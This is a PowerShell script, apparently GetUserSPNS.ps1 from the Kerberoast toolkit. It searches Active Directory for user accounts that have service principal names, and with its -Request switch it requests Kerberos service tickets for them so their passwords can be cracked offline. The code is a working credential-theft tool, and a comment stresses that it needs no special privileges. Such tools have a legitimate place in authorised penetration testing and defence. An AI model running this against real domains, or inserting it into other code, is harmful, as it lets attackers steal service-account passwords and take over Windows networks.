130 lines
6.1 KiB
PowerShell
130 lines
6.1 KiB
PowerShell
|
# Edits by Tim Medin
|
||
|
# File: GetUserSPNS.ps1
|
||
|
# Contents: Query the domain to find SPNs that use User accounts
|
||
|
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
|
||
|
# The password hash used with Computer accounts are infeasible to
|
||
|
# crack; however, if the User account associated with an SPN may have
|
||
|
# a crackable password. This tool will find those accounts. You do not
|
||
|
# need any special local or domain permissions to run this script.
|
||
|
# This script on a script supplied by Microsoft (details below).
|
||
|
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
|
||
|
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
|
||
|
# 2014/11/12 Tim Medin Created
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
Param(
|
||
|
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
|
||
|
[Parameter(Mandatory=$False)] [string]$Filter,
|
||
|
[Parameter(Mandatory=$False)] [switch]$Request,
|
||
|
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
|
||
|
)
|
||
|
|
||
|
Add-Type -AssemblyName System.IdentityModel
|
||
|
|
||
|
$GCs = @()
|
||
|
|
||
|
If ($GCName) {
|
||
|
$GCs += $GCName
|
||
|
} else { # find them
|
||
|
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
|
||
|
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
|
||
|
ForEach ($GC in $CurrentGCs) {
|
||
|
#$GCs += $GC.Name
|
||
|
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if (-not $GCs) {
|
||
|
# no Global Catalogs Found
|
||
|
Write-Host "No Global Catalogs Found!"
|
||
|
Exit
|
||
|
}
|
||
|
|
||
|
<#
|
||
|
Things you can extract
|
||
|
Name Value
|
||
|
---- -----
|
||
|
admincount {1}
|
||
|
samaccountname {sqlengine}
|
||
|
useraccountcontrol {66048}
|
||
|
primarygroupid {513}
|
||
|
userprincipalname {sqlengine@medin.local}
|
||
|
instancetype {4}
|
||
|
displayname {sqlengine}
|
||
|
pwdlastset {130410454241766739}
|
||
|
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
|
||
|
samaccounttype {805306368}
|
||
|
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
|
||
|
usnchanged {135252}
|
||
|
lastlogon {130563243107145358}
|
||
|
accountexpires {9223372036854775807}
|
||
|
logoncount {34}
|
||
|
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
|
||
|
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
|
||
|
badpwdcount {0}
|
||
|
codepage {0}
|
||
|
name {sqlengine}
|
||
|
whenchanged {9/22/2014 6:45:21 AM}
|
||
|
badpasswordtime {0}
|
||
|
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
|
||
|
lastlogontimestamp {130558419213902030}
|
||
|
lastlogoff {0}
|
||
|
objectclass {top, person, organizationalPerson, user}
|
||
|
countrycode {0}
|
||
|
cn {sqlengine}
|
||
|
whencreated {4/4/2014 12:37:04 AM}
|
||
|
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
|
||
|
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
|
||
|
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
|
||
|
usncreated {57551}
|
||
|
#>
|
||
|
|
||
|
ForEach ($GC in $GCs) {
|
||
|
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||
|
$searcher.SearchRoot = "LDAP://" + $GC
|
||
|
$searcher.PageSize = 1000
|
||
|
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
|
||
|
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
|
||
|
$searcher.PropertiesToLoad.Add("name") | Out-Null
|
||
|
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
|
||
|
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
|
||
|
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
|
||
|
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
|
||
|
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
|
||
|
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
|
||
|
|
||
|
$searcher.SearchScope = "Subtree"
|
||
|
|
||
|
$results = $searcher.FindAll()
|
||
|
|
||
|
[System.Collections.ArrayList]$accounts = @()
|
||
|
|
||
|
foreach ($result in $results) {
|
||
|
foreach ($spn in $result.Properties["serviceprincipalname"]) {
|
||
|
$o = Select-Object -InputObject $result -Property `
|
||
|
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
|
||
|
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
|
||
|
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
|
||
|
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
|
||
|
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
|
||
|
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
|
||
|
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
|
||
|
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
|
||
|
if ($UniqueAccounts) {
|
||
|
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
|
||
|
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
|
||
|
$o
|
||
|
if ($Request) {
|
||
|
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
|
||
|
}
|
||
|
}
|
||
|
} else {
|
||
|
$o
|
||
|
if ($Request) {
|
||
|
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|